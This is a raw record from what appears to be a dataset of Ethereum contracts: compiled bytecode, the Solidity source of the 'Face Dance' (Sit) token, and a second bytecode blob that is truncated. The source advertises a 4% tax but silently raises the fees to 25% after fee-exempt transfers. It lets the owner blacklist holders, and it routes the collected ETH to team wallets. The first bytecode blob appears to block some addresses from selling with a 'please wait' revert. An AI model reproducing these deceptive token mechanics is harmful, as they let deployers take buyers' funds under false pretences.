565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a7231582088292c1a46528f3ffb9780402e17e6ae743f79cc58dce0283c4cdac29111d95064736f6c63430005110032
{"success": true, "error": null, "results": {}}
6,770
0x174e759c5edaf8f522e2f4bb1c2d03e03dfa025d
/** *Submitted for verification at Etherscan.io on 2021-09-04 */ /* FaceDance / Sit 4% tax ape on! hope the stupid gas doesnt kill this ape :/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FaceDance is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Face Dance"; string private constant _symbol = "Sit"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f0578063c3c8cd8014610310578063c9567bf914610325578063d543dbeb1461033a578063dd62ed3e1461035a57600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102d057600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a815269466163652044616e636560b01b60208201525b60405161015591906119d2565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611859565b6103a0565b6040519015158152602001610155565b34801561019a57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101c057600080fd5b5061017e6101cf366004611818565b6103b7565b3480156101e057600080fd5b506101f46101ef3660046117a5565b610420565b005b34801561020257600080fd5b5060405160098152602001610155565b34801561021e57600080fd5b506101f461022d366004611951565b610474565b34801561023e57600080fd5b506101f46104bc565b34801561025357600080fd5b506101a66102623660046117a5565b6104e9565b34801561027357600080fd5b506101f461050b565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102b057600080fd5b5060408051808201909152600381526214da5d60ea1b6020820152610148565b3480156102dc57600080fd5b5061017e6102eb366004611859565b61057f565b3480156102fc57600080fd5b506101f461030b366004611885565b61058c565b34801561031c57600080fd5b506101f4610622565b34801561033157600080fd5b506101f4610658565b34801561034657600080fd5b506101f461035536600461198b565b610a1b565b34801561036657600080fd5b506101a66103753660046117df565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ad338484610aee565b5060015b92915050565b60006103c4848484610c12565b610416843361041185604051806060016040528060288152602001611bbe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611024565b610aee565b5060019392505050565b6000546001600160a01b031633146104535760405162461bcd60e51b815260040161044a90611a27565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461049e5760405162461bcd60e51b815260040161044a90611a27565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104dc57600080fd5b476104e68161105e565b50565b6001600160a01b0381166000908152600260205260408120546103b1906110e3565b6000546001600160a01b031633146105355760405162461bcd60e51b815260040161044a90611a27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ad338484610c12565b6000546001600160a01b031633146105b65760405162461bcd60e51b815260040161044a90611a27565b60005b815181101561061e576001600a60008484815181106105da576105da611b6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061681611b3d565b9150506105b9565b5050565b600c546001600160a01b0316336001600160a01b03161461064257600080fd5b600061064d306104e9565b90506104e681611167565b6000546001600160a01b031633146106825760405162461bcd60e51b815260040161044a90611a27565b600f54600160a01b900460ff16156106dc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044a565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107193082683635c9adc5dea00000610aee565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075257600080fd5b505afa158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a91906117c2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d257600080fd5b505afa1580156107e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080a91906117c2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085257600080fd5b505af1158015610866573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088a91906117c2565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ba816104e9565b6000806108cf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093257600080fd5b505af1158015610946573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096b91906119a4565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109e357600080fd5b505af11580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061e919061196e565b6000546001600160a01b03163314610a455760405162461bcd60e51b815260040161044a90611a27565b60008111610a955760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044a565b610ab36064610aad683635c9adc5dea00000846112f0565b9061136f565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044a565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044a565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044a565b60008111610d3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044a565b6000546001600160a01b03848116911614801590610d6657506000546001600160a01b03838116911614155b15610fc757600f54600160b81b900460ff1615610e4d576001600160a01b0383163014801590610d9f57506001600160a01b0382163014155b8015610db95750600e546001600160a01b03848116911614155b8015610dd35750600e546001600160a01b03838116911614155b15610e4d57600e546001600160a01b0316336001600160a01b03161480610e0d5750600f546001600160a01b0316336001600160a01b0316145b610e4d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161044a565b601054811115610e5c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e9e57506001600160a01b0382166000908152600a602052604090205460ff16155b610ea757600080fd5b600f546001600160a01b038481169116148015610ed25750600e546001600160a01b03838116911614155b8015610ef757506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0c5750600f54600160b81b900460ff165b15610f5a576001600160a01b0382166000908152600b60205260409020544211610f3557600080fd5b610f4042603c611acd565b6001600160a01b0383166000908152600b60205260409020555b6000610f65306104e9565b600f54909150600160a81b900460ff16158015610f905750600f546001600160a01b03858116911614155b8015610fa55750600f54600160b01b900460ff165b15610fc557610fb381611167565b478015610fc357610fc34761105e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100957506001600160a01b03831660009081526005602052604090205460ff165b15611012575060005b61101e848484846113b1565b50505050565b600081848411156110485760405162461bcd60e51b815260040161044a91906119d2565b5060006110558486611b26565b95945050505050565b600c546001600160a01b03166108fc61107883600261136f565b6040518115909202916000818181858888f193505050501580156110a0573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110bb83600261136f565b6040518115909202916000818181858888f1935050505015801561061e573d6000803e3d6000fd5b600060065482111561114a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044a565b60006111546113dd565b9050611160838261136f565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111af576111af611b6e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120357600080fd5b505afa158015611217573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123b91906117c2565b8160018151811061124e5761124e611b6e565b6001600160a01b039283166020918202929092010152600e546112749130911684610aee565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ad908590600090869030904290600401611a5c565b600060405180830381600087803b1580156112c757600080fd5b505af11580156112db573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826112ff575060006103b1565b600061130b8385611b07565b9050826113188583611ae5565b146111605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044a565b600061116083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611400565b806113be576113be61142e565b6113c9848484611451565b8061101e5761101e60056008556014600955565b60008060006113ea611548565b90925090506113f9828261136f565b9250505090565b600081836114215760405162461bcd60e51b815260040161044a91906119d2565b5060006110558486611ae5565b60085415801561143e5750600954155b1561144557565b60006008819055600955565b6000806000806000806114638761158a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061149590876115e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114c49086611629565b6001600160a01b0389166000908152600260205260409020556114e681611688565b6114f084836116d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161153591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611564828261136f565b82101561158157505060065492683635c